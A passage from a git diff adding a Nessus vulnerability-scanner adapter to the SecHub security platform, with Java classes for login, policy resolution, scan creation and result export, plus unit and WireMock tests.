uuid(context.getNessusPolicyUID()). + name(config.getTraceID()+"_"+config.getTargetType()). + description("SecHub scan "+config.getTraceID()+" for target type "+config.getTargetType()). + targetsURIs(config.getTargetURIs()). + targetIPs(config.getTargetIPs()).build(); + /* @formatter:on */ + + } + + NessusAdapterV1NewScanJSONBuilder createNewScanJSONBuilder() { + return new NessusAdapterV1NewScanJSONBuilder(); + } + + private String resolvePolicyUID(NessusAdapterContext context) throws AdapterException { + String content = fetchPoliciesBody(context); + String searchedPolicyTitle = context.getConfig().getPolicyId(); + return resolvePolicyUIDByTitle(content, searchedPolicyTitle, context); + } + + String resolvePolicyUIDByTitle(String content, String searchedPolicyTitle, NessusAdapterContext context) + throws AdapterException { + try { + + ArrayNode templatesArray = context.json().fetch("templates", content).asArray(); + for (Iterator elements = templatesArray.elements(); elements.hasNext();) { + JsonNode node = elements.next(); + String title = context.json().fetch("title", node).asText(); + if (searchedPolicyTitle.equals(title)) { + return context.json().fetch("uuid", node).asText(); + } + } + return null; + } catch (Exception e) { + // JSON errors are marked as adapter exceptions and all others too... + throw asAdapterException("Was not able to resolve policy uid", e, context); + } + } + + String resolveHistoryIdByUUID(String content, NessusAdapterContext context) throws AdapterException { + String uuid = context.getProductContextId(); + if (uuid == null) { + throw new IllegalStateException("No nessus uuid available!"); + } + return context.json().fetch("history", content) + .fetchArrayElementHaving("history_id", Collections.singletonMap("uuid", uuid)).asText(); + } + + /** + * Try to login with user credentials and fetch session token from NESSUS. The + * token is stored in context. + * + * @param context + * @throws AdapterException + */ + void loginAndFetchToken(NessusAdapterContext context) throws AdapterException { + NessusAdapterConfig config = context.getConfig(); + String traceID = config.getTraceID(); + + LOG.debug("{} start login at {}", traceID, config.getProductBaseURL()); + + MultiValueMap headers = createHeader(config); + + Map json = new TreeMap<>(); + json.put("username", config.getUser()); + json.put("password", config.getPassword()); + + String jsonAsString = context.json().toJSON(json); + + HttpEntity request = new HttpEntity<>(jsonAsString, headers); + + String apiUrl = createAPIURL(APICALL_LOGIN, config); + try { + ResponseEntity response = context.getRestOperations().postForEntity(apiUrl, request, String.class); + /* resolve token from response */ + String token = context.json().fetch("token", response).asText(); + LOG.debug("{} resulted token is '{}'", traceID, token); + + if (token == null || token.isEmpty()) { + throw asAdapterException("Login failed, no token returned!", config); + } + context.setNessusSessionToken(token); + + } catch (HttpClientErrorException e) { + throw asAdapterException("Was not able to login by url:" + apiUrl, e, context); + } + + } + + String fetchPoliciesBody(NessusAdapterContext context) throws AdapterException { + NessusAdapterConfig config = context.getConfig(); + String traceID = config.getTraceID(); + + LOG.debug("{} start scanning for list of policies at {}", traceID, config.getProductBaseURL()); + + String apiUrl = createAPIURL(APICALL_GET_POLICIES, config); + try { + RestOperations restTemplate = context.getRestOperations(); + ResponseEntity response = restTemplate.getForEntity(apiUrl, String.class); + + /* resolve token from response */ + return response.getBody(); + } catch (HttpClientErrorException e) { + throw asAdapterException("Was not able to fetch policies body by url:" + apiUrl, e, context); + } + + } + + void logout(NessusAdapterContext context) { + String apiURL = createAPIURL(APICALL_LOGOUT, context.getConfig()); + context.getRestOperations().delete(apiURL); + context.setNessusSessionToken(null); + + } + + private MultiValueMap createHeader(NessusAdapterConfig config) { + MultiValueMap headers = new LinkedMultiValueMap<>(); + return headers; + } + + String dumpPolicies(NessusAdapterConfig config) throws AdapterException { + try { + NessusContext context = new NessusContext(config, this); + loginAndFetchToken(context); + return fetchPoliciesBody(context); + + } catch (AdapterException e) { + throw e; + } catch (Exception e) { + throw asAdapterException("Was not able to perform scan!", e, config); + } + } + + @Override + protected String getAPIPrefix() { + return null; + } + + private class NessusWaitForScanStateSupport extends WaitForStateSupport { + + public NessusWaitForScanStateSupport() { + super(NessusAdapterV1.this); + } + + @Override + protected boolean isWaitingForOKWhenInState(String state, NessusAdapterContext context) { + return !NessusState.isWellknown(state); + } + + @Override + protected void handleNoLongerWaitingState(String state, NessusAdapterContext context) throws AdapterException { + NessusAdapterConfig config = context.getConfig(); + if (NessusState.COMPLETE.isRepresentedBy(state)) { + LOG.debug("{} completed", getAdapterLogId(config)); + return; + } + if (NessusState.CANCELED.isRepresentedBy(state)) { + LOG.debug("{} canceled", getAdapterLogId(config)); + throw asAdapterCanceledByUserException(config); + } + throw asAdapterException(state + " is wellknown but not handled by adapter!", config); + + } + + @Override + protected String getCurrentState(NessusAdapterContext context) throws Exception { + String historyID = ensureHistoryIdInContext(context); + + String body = "{\"history_id\":\"" + historyID + "\"}"; + AdapterLogId adapterLogId = getAdapterLogId(context.getConfig()); + LOG.debug("{} try to fetch history information for '{}'", adapterLogId, historyID); + String apiUrl = createGetHistoryInfoApiURL(context); + + /* strange but necessary for NESSUS: a HTTP GET with a body... */ + MultiValueMap headers = createHeader(context.getConfig()); + HttpEntity entity = new HttpEntity<>(body, headers); + + ResponseEntity response = context.getRestOperations().exchange(apiUrl, HttpMethod.GET, entity, + String.class); + if (!OK.equals(response.getStatusCode())) { + throw new NessusRESTFailureException(response.getStatusCode(), response.getBody()); + } + String status = context.json().fetch("info", response).fetch("status").asText(); + LOG.debug("{} found status {}", adapterLogId, status); + return status; + } + } + + private class WaitForExportStatusSupport extends WaitForStateSupport { + + public WaitForExportStatusSupport() { + super(NessusAdapterV1.this); + } + + @Override + protected boolean isWaitingForOKWhenInState(String state, NessusAdapterContext context) throws AdapterException { + return !"ready".equalsIgnoreCase(state); + } + + @Override + protected void handleNoLongerWaitingState(String state, NessusAdapterContext context) throws Exception { + String apiUrl = createScanExportDownloadApiURL(context); + + ResponseEntity response = context.getRestOperations().getForEntity(apiUrl, String.class); + if (!OK.equals(response.getStatusCode())) { + throw new NessusRESTFailureException(response.getStatusCode(), response.getBody()); + } + + String result = response.getBody(); + context.setResult(result); + LOG.debug("{} fetched export status, result={}", getAdapterLogId(context), context.getResult()); + + } + + @Override + protected String getCurrentState(NessusAdapterContext context) throws Exception { + String apiUrl = createScanExportStatusApiURL(context); + + ResponseEntity response = context.getRestOperations().getForEntity(apiUrl, String.class); + if (!OK.equals(response.getStatusCode())) { + throw new NessusRESTFailureException(response.getStatusCode(), response.getBody()); + } + + String state = context.json().fetch("status", response).asText(); + + LOG.debug("{} fetched export status, fileId={}, state={}", getAdapterLogId(context), + context.getExportFileId(), state); + + return state; + } + + } + +} diff --git a/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1NewScanJSONBuilder.java b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1NewScanJSONBuilder.java new file mode 100644 index 0000000000..65d44f599b --- /dev/null +++ b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1NewScanJSONBuilder.java @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import java.net.InetAddress; +import java.net.URI; +import java.util.ArrayList; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Set; + +import org.springframework.util.StringUtils; + +public class NessusAdapterV1NewScanJSONBuilder { + + private String uuid; + private String name; + private String description; + LinkedHashSet targetURIs = new LinkedHashSet<>(); + LinkedHashSet targetIPs = new LinkedHashSet<>(); + + public NessusAdapterV1NewScanJSONBuilder uuid(String uuid) { + this.uuid=uuid; + return this; + } + + public NessusAdapterV1NewScanJSONBuilder name(String name) { + this.name=name; + return this; + } + + public NessusAdapterV1NewScanJSONBuilder description(String description) { + this.description=description; + return this; + } + + public NessusAdapterV1NewScanJSONBuilder targetsURIs(Set targetURIs) { + if (targetURIs==null) { + return this; + } + this.targetURIs.addAll(targetURIs); + return this; + } + + public NessusAdapterV1NewScanJSONBuilder targetIPs(Set targetIPs) { + if (targetIPs==null) { + return this; + } + this.targetIPs.addAll(targetIPs); + return this; + } + + public String build() { + String targets = buildTargetsCommaSeparated(); + + StringBuilder sb = new StringBuilder(); + sb.append("{"); + sb.append(" \"uuid\":\"").append(uuid).append("\","); + sb.append(" \"settings\":{\n"); + sb.append(" \"name\":\"").append(name).append("\",\n"); + sb.append(" \"description\":\"").append(description).append("\",\n"); + sb.append(" \"text_targets\":\"").append(targets).append("\"\n"); + sb.append(" }\n"); + sb.append("}"); + + return sb.toString(); + } + + private String buildTargetsCommaSeparated() { + List simpleTargetList = new ArrayList<>(); + for (URI uri: targetURIs) { + simpleTargetList.add(uri.toString()); + } + for (InetAddress ip: targetIPs) { + simpleTargetList.add(ip.getHostAddress()); + } + return StringUtils.collectionToCommaDelimitedString(simpleTargetList); + } + +} diff --git a/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusClientHttpRequestInterceptor.java b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusClientHttpRequestInterceptor.java new file mode 100644 index 0000000000..6d2039af60 --- /dev/null +++ b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusClientHttpRequestInterceptor.java @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import java.io.IOException; + +import org.springframework.http.HttpHeaders; +import org.springframework.http.HttpRequest; +import org.springframework.http.MediaType; +import org.springframework.http.client.ClientHttpRequestExecution; +import org.springframework.http.client.ClientHttpRequestInterceptor; +import org.springframework.http.client.ClientHttpResponse; + +public class NessusClientHttpRequestInterceptor implements ClientHttpRequestInterceptor { + + private NessusContext context; + + public NessusClientHttpRequestInterceptor(NessusContext context) { + this.context=context; + } + + @Override + public ClientHttpResponse intercept(HttpRequest request, byte[] body, ClientHttpRequestExecution execution) + throws IOException { + + HttpHeaders headers = request.getHeaders(); + headers.remove("content-type"); // strange, but sometimes there was a content-type (plain-text already added) + headers.remove("Authorization"); + + headers.add("content-type", MediaType.APPLICATION_JSON_VALUE); + headers.add("X-Cookie", "token=" + context.nessusSessionToken); + return execution.execute(request, body); + } + +} diff --git a/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusConfig.java b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusConfig.java new file mode 100644 index 0000000000..e3d260d79d --- /dev/null +++ b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusConfig.java @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import com.daimler.sechub.adapter.AbstractAdapterConfig; +import com.daimler.sechub.adapter.AbstractAdapterConfigBuilder; + +public class NessusConfig extends AbstractAdapterConfig implements NessusAdapterConfig{ + + private NessusConfig() { + } + + public static NessusConfigBuilder builder() { + return new NessusConfigBuilder(); + } + + /* FIXME Albert Tregnaghi, 2018-03-26: cleanup! it was copied from netsparker... */ + public static class NessusConfigBuilder extends AbstractAdapterConfigBuilder{ + + @Override + protected void customBuild(NessusAdapterConfig config) { + + } + + @Override + protected NessusAdapterConfig buildInitialConfig() { + return new NessusConfig(); + } + + @Override + protected void customValidate() { + assertUserSet(); + assertPasswordSet(); + + } + + } + +} diff --git a/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusContext.java b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusContext.java new file mode 100644 index 0000000000..4974790922 --- /dev/null +++ b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusContext.java @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import org.springframework.http.client.ClientHttpRequestInterceptor; + +import com.daimler.sechub.adapter.AbstractSpringRestAdapterContext; + +/** + * Context for NESSUS execution. + * + * @author Albert Tregnaghi + * + */ +public class NessusContext extends AbstractSpringRestAdapterContext + implements NessusAdapterContext { + + String nessusSessionToken = ""; + String nessusPolicyUID; + Long nessusScanId; + private String historyId; + private String exportFileId; + + public NessusContext(NessusAdapterConfig config, NessusAdapter adapter) { + super(config, adapter); + } + + @Override + protected ClientHttpRequestInterceptor createInterceptorOrNull(NessusAdapterConfig config) { + return new NessusClientHttpRequestInterceptor(this); + } + + @Override + public String getNessusPolicyUID() { + return nessusPolicyUID; + } + + @Override + public void setNessusPolicyId(String nessusPolicyUID) { + this.nessusPolicyUID = nessusPolicyUID; + } + + @Override + public void setNessusSessionToken(String token) { + this.nessusSessionToken = token; + } + + public String getNessusSessionToken() { + return nessusSessionToken; + } + + @Override + public void setNessusScanId(Long scanId) { + this.nessusScanId = scanId; + } + + @Override + public Long getNessusScanId() { + return nessusScanId; + } + + @Override + public String getHistoryId() { + return historyId; + } + + @Override + public void setHistoryId(String id) { + this.historyId = id; + + } + + public void setExportFileId(String fileId) { + this.exportFileId = fileId; + } + + public String getExportFileId() { + return exportFileId; + } + +} diff --git a/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusRESTFailureException.java b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusRESTFailureException.java new file mode 100644 index 0000000000..daa49f20ec --- /dev/null +++ b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusRESTFailureException.java @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import org.springframework.http.HttpStatus; + +public class NessusRESTFailureException extends RuntimeException { + + private static final long serialVersionUID = 6448794893494468643L; + private final String body; + + public NessusRESTFailureException(HttpStatus status, String body) { + super("Netsparker REST failed with HTTP Status:" + (status != null ? status.name() : "null")); + this.body = body; + } + + public String getResponseBody() { + return body; + } + + @Override + public String toString() { + return super.toString() + "\nBody:\n" + getResponseBody(); + } +} diff --git a/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusState.java b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusState.java new file mode 100644 index 0000000000..a93f8462a3 --- /dev/null +++ b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusState.java @@ -0,0 +1,31 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +public enum NessusState { + COMPLETE("completed"), CANCELED("canceled"); + + private String id; + + private NessusState(String id) { + if (id == null) { + throw new IllegalArgumentException("id may not be null!"); + } + this.id = id; + } + + public boolean isRepresentedBy(String state) { + if (state == null) { + return false; + } + return id.equals(state); + } + + public static boolean isWellknown(String state) { + for (NessusState value : values()) { + if (value.isRepresentedBy(state)) { + return true; + } + } + return false; + } +} diff --git a/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterTestFileSupport.java b/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterTestFileSupport.java new file mode 100644 index 0000000000..ec740c911b --- /dev/null +++ b/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterTestFileSupport.java @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import com.daimler.sechub.test.SechubTestComponent; +import com.daimler.sechub.test.TestFileSupport; + +@SechubTestComponent +public class NessusAdapterTestFileSupport extends TestFileSupport { + private static final NessusAdapterTestFileSupport TESTFILE_SUPPORT = new NessusAdapterTestFileSupport(); + + public static NessusAdapterTestFileSupport getTestfileSupport() { + return TESTFILE_SUPPORT; + } + + NessusAdapterTestFileSupport() { + super("sechub-adapter-nessus/src/test/resources"); + } + +} diff --git a/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1NewScanJSONBuilderTest.java b/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1NewScanJSONBuilderTest.java new file mode 100644 index 0000000000..662d973a47 --- /dev/null +++ b/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1NewScanJSONBuilderTest.java @@ -0,0 +1,112 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import static org.junit.Assert.*; + +import java.net.InetAddress; +import java.net.URI; +import java.util.Collections; + +import org.json.JSONObject; +import org.junit.Before; +import org.junit.Test; + +public class NessusAdapterV1NewScanJSONBuilderTest { + + private NessusAdapterV1NewScanJSONBuilder builderToTest; + + @Before + public void before() throws Exception { + builderToTest = new NessusAdapterV1NewScanJSONBuilder(); + } + + + @Test + public void standard_setup_with_one_url_build_is_json_and_has_expected_content() throws Exception{ + + /* execute */ + /* @formatter:off */ + String result = builderToTest. + description("description1"). + name("name1"). + uuid("uuid1"). + targetsURIs(Collections.singleton(URI.create("http://www.example.com"))). + build(); + /* @formatter:on */ + + /* test */ + JSONObject asJson = new JSONObject(result);// so valid json.. + assertEquals("uuid1", asJson.getString("uuid")); + + JSONObject settings = asJson.getJSONObject("settings"); + assertEquals("name1", settings.get("name")); + assertEquals("http://www.example.com", settings.getString("text_targets")); + assertEquals("description1", settings.get("description")); + + } + + @Test + public void standard_setup_with_one_ip_build_is_json_and_has_expected_content() throws Exception{ + + /* execute */ + /* @formatter:off */ + String result = builderToTest. + description("description1"). + name("name1"). + uuid("uuid1"). + targetIPs(Collections.singleton(InetAddress.getByName("192.168.1.1"))). + build(); + /* @formatter:on */ + + /* test */ + JSONObject asJson = new JSONObject(result);// so valid JSON.. + assertEquals("uuid1", asJson.getString("uuid")); + + JSONObject settings = asJson.getJSONObject("settings"); + assertEquals("name1", settings.get("name")); + assertEquals("192.168.1.1", settings.getString("text_targets")); + assertEquals("description1", settings.get("description")); + + } + + @Test + public void standard_setup_with_one_url_and_another_IP_build_is_json_and_has_expected_content_uris_first() throws Exception{ + + /* execute */ + /* @formatter:off */ + String result = builderToTest. + description("description1"). + name("name1"). + uuid("uuid1"). + targetIPs(Collections.singleton(InetAddress.getByName("192.168.1.1"))). + targetsURIs(Collections.singleton(URI.create("http://www.example.com"))). + build(); + /* @formatter:on */ + + /* test */ + JSONObject asJson = new JSONObject(result);// so valid json.. + assertEquals("uuid1", asJson.getString("uuid")); + + JSONObject settings = asJson.getJSONObject("settings"); + assertEquals("name1", settings.get("name")); + assertEquals("http://www.example.com,192.168.1.1", settings.getString("text_targets")); + assertEquals("description1", settings.get("description")); + + } + + @Test + public void nothing_set_results_simply_in_valid_json_but_without_any_text_targets_and_field_as_null() throws Exception{ + /* execute */ + String result = builderToTest.build(); + + /* test */ + JSONObject asJson = new JSONObject(result);// so valid json.. + assertEquals("null", asJson.getString("uuid")); + + JSONObject settings = asJson.getJSONObject("settings"); + assertEquals("null", settings.get("name")); + assertEquals("", settings.getString("text_targets")); + assertEquals("null", settings.get("description")); + } +} + diff --git a/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1Test.java b/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1Test.java new file mode 100644 index 0000000000..dcbfc709c7 --- /dev/null +++ b/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1Test.java @@ -0,0 +1,254 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import org.json.JSONObject; +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.support.JSONAdapterSupport; + +public class NessusAdapterV1Test { + + private NessusAdapterV1 adapterToTest; + private static String NESSUS_7_0_2_GET_POLICIES_RESULT_JSON; + @BeforeClass + public static void beforeClass() { + NESSUS_7_0_2_GET_POLICIES_RESULT_JSON = NessusAdapterTestFileSupport.getTestfileSupport().loadTestFile("nessus_7.0.2.get_policies_result.json"); + } + + @Rule + public ExpectedException expected = ExpectedException.none(); + private NessusAdapterContext context; + private NessusAdapterConfig config; + + @Before + public void before() { + // System.setProperty("org.slf4j.simpleLogger.defaultLogLevel", "debug"); + adapterToTest = new NessusAdapterV1(); + + context = mock(NessusAdapterContext.class); + config = mock(NessusAdapterConfig.class); + when(context.getConfig()).thenReturn(config); + when(context.json()).thenReturn(new JSONAdapterSupport(adapterToTest, context)); + } + + @Test + public void a_scan_uuid_can_be_extracted() throws Exception { + /* prepare */ + String data = "{\"scan_uuid\":\"8b0e5c15-7958-0480-28d9-7c5a7069a9f892b6b6880a8600b5\"}"; + + /* execute */ + String scan_uuid = adapterToTest.extractScanUUID(context, data); + + /* test */ + assertEquals(scan_uuid,/*NOSONAR*/"8b0e5c15-7958-0480-28d9-7c5a7069a9f892b6b6880a8600b5"); + } + + @Test + public void when_context_has_scanid_123456_the_createLaunchApiURL_returns_host_slash_scans_slash_123456_slash_launch() { + /* prepare */ + when(context.getNessusScanId()).thenReturn(123456L); + when(config.getProductBaseURL()).thenReturn("https://localhost:666"); + + /* execute */ + String result = adapterToTest.createLaunchApiURL(context); + + /* test */ + assertEquals("https://localhost:666/scans/123456/launch",result); + } + + @Test + public void when_context_has_scanid_123456_the_createScanExportApiURL_returns_host_and_123456_export() { + /* prepare */ + when(context.getNessusScanId()).thenReturn(123456L); + when(config.getProductBaseURL()).thenReturn("https://localhost:666"); + + /* execute */ + String result = adapterToTest.createScanExportApiURL(context); + + /* test */ + assertEquals("https://localhost:666/scans/123456/export",result); + } + + @Test + public void when_context_has_scanid_123456_fid_789_the_createScanExportStatusApiURL_returns_host_and_123456_export_789_status() { + /* prepare */ + when(context.getNessusScanId()).thenReturn(123456L); + when(config.getProductBaseURL()).thenReturn("https://localhost:666"); + when(context.getExportFileId()).thenReturn("789"); + + /* execute */ + String result = adapterToTest.createScanExportStatusApiURL(context); + + /* test */ + assertEquals("https://localhost:666/scans/123456/export/789/status",result); + } + + @Test + public void when_context_has_scanid_123456_fid_789_the_createScanExportDownloadApiURL_returns_host_and_123456_export_789_status() { + /* prepare */ + when(context.getNessusScanId()).thenReturn(123456L); + when(config.getProductBaseURL()).thenReturn("https://localhost:666"); + when(context.getExportFileId()).thenReturn("789"); + + /* execute */ + String result = adapterToTest.createScanExportDownloadApiURL(context); + + /* test */ + assertEquals("https://localhost:666/scans/123456/export/789/download",result); + } + + @Test + public void when_context_has_scanid_123456_the_createGetHistoryIsApiURL_returns_host_and_123456() { + /* prepare */ + when(context.getNessusScanId()).thenReturn(123456L); + when(config.getProductBaseURL()).thenReturn("https://localhost:666"); + + /* execute */ + String result = adapterToTest.createGetHistoryIdsApiURL(context); + + /* test */ + assertEquals("https://localhost:666/scans/123456",result); + } + + + @Test + public void createScanJSON_creates_validJson() throws Exception { + + /* prepare */ + + /* execute */ + String json = adapterToTest.createNewScanJSON(context); + + /* test */ + JSONObject jsonObject = new JSONObject(json); + assertNotNull(jsonObject); + + } + + + @Test + public void adapter_has_no_api_prefix() throws Exception { + /* test */ + assertNull(adapterToTest.getAPIPrefix()); + } + + @Test + public void resolvePolicyUIDByTitle_null_throws_adapterexception() throws Exception { + + /* prepare */ + expected.expect(AdapterException.class); + + /* execute */ + /* test */ + adapterToTest.resolvePolicyUIDByTitle(null, "x",context); + + } + @Test + public void resolveHistoryIdByUUID_no_uuid_set_illegal_state_is_thrown() throws Exception { + + /* prepare */ + expected.expect(IllegalStateException.class); + when(context.getProductContextId()).thenReturn(null); + + /* execute */ + /* test */ + adapterToTest.resolveHistoryIdByUUID("{}", context); + + } + @Test + public void resolveHistoryIdByUUID_empty_obj_throws_adapterexception() throws Exception { + + /* prepare */ + expected.expect(AdapterException.class); + when(context.getProductContextId()).thenReturn("uuid"); + + /* execute */ + /* test */ + adapterToTest.resolveHistoryIdByUUID("{}", context); + + } + + @Test + public void resolveHistoryIdByUUID_non_existing_uuid_throws_adapter_exception() throws Exception { + /* test */ + expected.expect(AdapterException.class); + + /* prepare */ + String content = "{\"history\":[{\"uuid\":\"my-uuid\", \"history_id\":\"666\"}]}"; + when(context.getProductContextId()).thenReturn("unkown-uuid"); + + /* execute */ + adapterToTest.resolveHistoryIdByUUID(content, context); + + } + + @Test + public void resolveHistoryIdByUUID__existing_uuid_myUUID_returns_history_id_666() throws Exception { + /* prepare */ + String content = "{\"history\":[{\"uuid\":\"my-uuid\", \"history_id\":\"666\"}]}"; + when(context.getProductContextId()).thenReturn("my-uuid"); + + /* execute */ + String result = adapterToTest.resolveHistoryIdByUUID(content,context); + + /* test */ + assertEquals("666", result); + } + + @Test + public void resolvePolicyUIDByTitle_empty_throws_adapterexception() throws Exception { + + /* prepare */ + expected.expect(AdapterException.class); + + /* execute */ + /* test */ + adapterToTest.resolvePolicyUIDByTitle("", "x",context); + + } + + + @Test + public void resolvePolicyUIDByTitle_empty_obj_throws_adapterexception() throws Exception { + + /* prepare */ + expected.expect(AdapterException.class); + + /* execute */ + /* test */ + adapterToTest.resolvePolicyUIDByTitle("{}", "x",context); + + } + + + @Test + public void resolvePolicyUIDByTitle_origin_nessus_file_with_advanced_scan_title_returns_uuid() throws Exception { + + /* execute */ + String uuid = adapterToTest.resolvePolicyUIDByTitle(NESSUS_7_0_2_GET_POLICIES_RESULT_JSON, "Advanced Scan",context); + + /* test */ + assertEquals("ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66",uuid); + + } + + @Test + public void resolvePolicyUIDByTitle_origin_nessus_file_with_not_existing_title_returns_null() throws Exception { + + /* execute */ + String uuid = adapterToTest.resolvePolicyUIDByTitle(NESSUS_7_0_2_GET_POLICIES_RESULT_JSON, "Not existing title",context); + + /* test */ + assertNull(uuid); + + } + +} \ No newline at end of file diff --git a/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1WireMockTest.java b/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1WireMockTest.java new file mode 100644 index 0000000000..61b876339e --- /dev/null +++ b/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1WireMockTest.java @@ -0,0 +1,330 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import static com.github.tomakehurst.wiremock.client.WireMock.*; +import static com.github.tomakehurst.wiremock.client.WireMock.verify; +import static com.github.tomakehurst.wiremock.core.WireMockConfiguration.*; +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.net.URI; +import java.util.Collections; + +import org.json.JSONArray; +import org.json.JSONObject; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.springframework.http.HttpStatus; + +import com.daimler.sechub.adapter.IcrementalAdditionalPrefixAPIURLSupport; +import com.daimler.sechub.adapter.support.APIURLSupport; +import com.daimler.sechub.test.TestPortProvider; +import com.github.tomakehurst.wiremock.junit.WireMockRule; + +public class NessusAdapterV1WireMockTest { + + private static final String TARGET_TYPE = "theType"; + private static final String SECHUB_TRACE_ID = "sechub-trace-id"; + private static final String EXPECTED_NAME_IN_DATA = "sechub-trace-id_"+TARGET_TYPE; + private static final String APPLICATION_JSON = "application/json"; + private static final String APPLICATION_XML = "application/xml"; + + private static final int HTTPS_PORT = TestPortProvider.DEFAULT_INSTANCE.getWireMockTestHTTPSPort(); + + private static final int HTTP_PORT = TestPortProvider.DEFAULT_INSTANCE.getWireMockTestHTTPPort(); + + private static final String PASSWORD = "12345BASE64_PWD"; + + private static final String TARGET_URL = "http://example.org"; + + private static final String NETSPARKER_BASE_URL = "http://localhost:" + HTTP_PORT; + + private static final String POLICY_ID = "12345POLICY_ID"; + + private static final String POLICY_UUID = "12345UUID"; + + private static final String USERNAME = "sechub-user"; + + @Rule + public WireMockRule wireMockRule = new WireMockRule(wireMockConfig().port(HTTP_PORT).httpsPort(HTTPS_PORT)); + + private NessusAdapter adapterToTest; + + private NessusAdapterConfig config; + private IcrementalAdditionalPrefixAPIURLSupport apiURLSupport; + + + + @Before + public void before() { + // System.setProperty("org.slf4j.simpleLogger.defaultLogLevel", "debug"); + + apiURLSupport = new IcrementalAdditionalPrefixAPIURLSupport("nessustest"); + + adapterToTest = new NessusAdapterV1() { + @Override + protected APIURLSupport createAPIURLSupport() { + return apiURLSupport; + } + }; + config = mock(NessusAdapterConfig.class); + + when(config.getTraceID()).thenReturn(SECHUB_TRACE_ID); + when(config.getUser()).thenReturn(USERNAME); + when(config.getTargetType()).thenReturn(TARGET_TYPE); + when(config.getPassword()).thenReturn(PASSWORD); + when(config.getTimeOutInMilliseconds()).thenReturn(1000*5); + + when(config.getTargetURIs()).thenReturn(Collections.singleton(URI.create(TARGET_URL))); + when(config.getProductBaseURL()).thenReturn(NETSPARKER_BASE_URL); + when(config.getPolicyId()).thenReturn(POLICY_ID); + + } + + @Test + public void start_scan_returns_returns_result_when_using_agent() throws Exception { + /* prepare */ + String sessionToken = "token-returned-by-nessus"; + + JSONObject loginJson = new JSONObject(); + loginJson.put("username", USERNAME); + loginJson.put("password", PASSWORD); + + String loginJSONBody = loginJson.toString(); + /* @formatter:off */ + /* +-----------------------------------------------------------------------+ */ + /* +............................ login ....................................+ */ + /* +-----------------------------------------------------------------------+ */ + stubFor(post(urlEqualTo(apiURLSupport.nextURL("/session"))) + //.inScenario(chain.getScenario()).whenScenarioStateIs(chain.getStateBefore()) + .withHeader("X-Cookie", equalTo("token=")) + .withHeader("content-type", equalTo(APPLICATION_JSON)) + .withRequestBody(equalToJson(loginJSONBody)) + .willReturn(aResponse() + .withStatus(HttpStatus.OK.value()) + .withHeader("Content-Type", APPLICATION_JSON) + .withBody("{\"token\" : \""+sessionToken+"\"}")) +// . +// willSetStateTo(chain.getStateAfter()) + ); + /* +-----------------------------------------------------------------------+ */ + /* +............................ get all policies .........................+ */ + /* +-----------------------------------------------------------------------+ */ + JSONObject policyTemplatesBody = new JSONObject(); + JSONArray policyTemplates = new JSONArray(); + for (int i=0;i<10;i++) { + + JSONObject policyTemplate = new JSONObject(); + policyTemplate.put("title", "title"+i); + 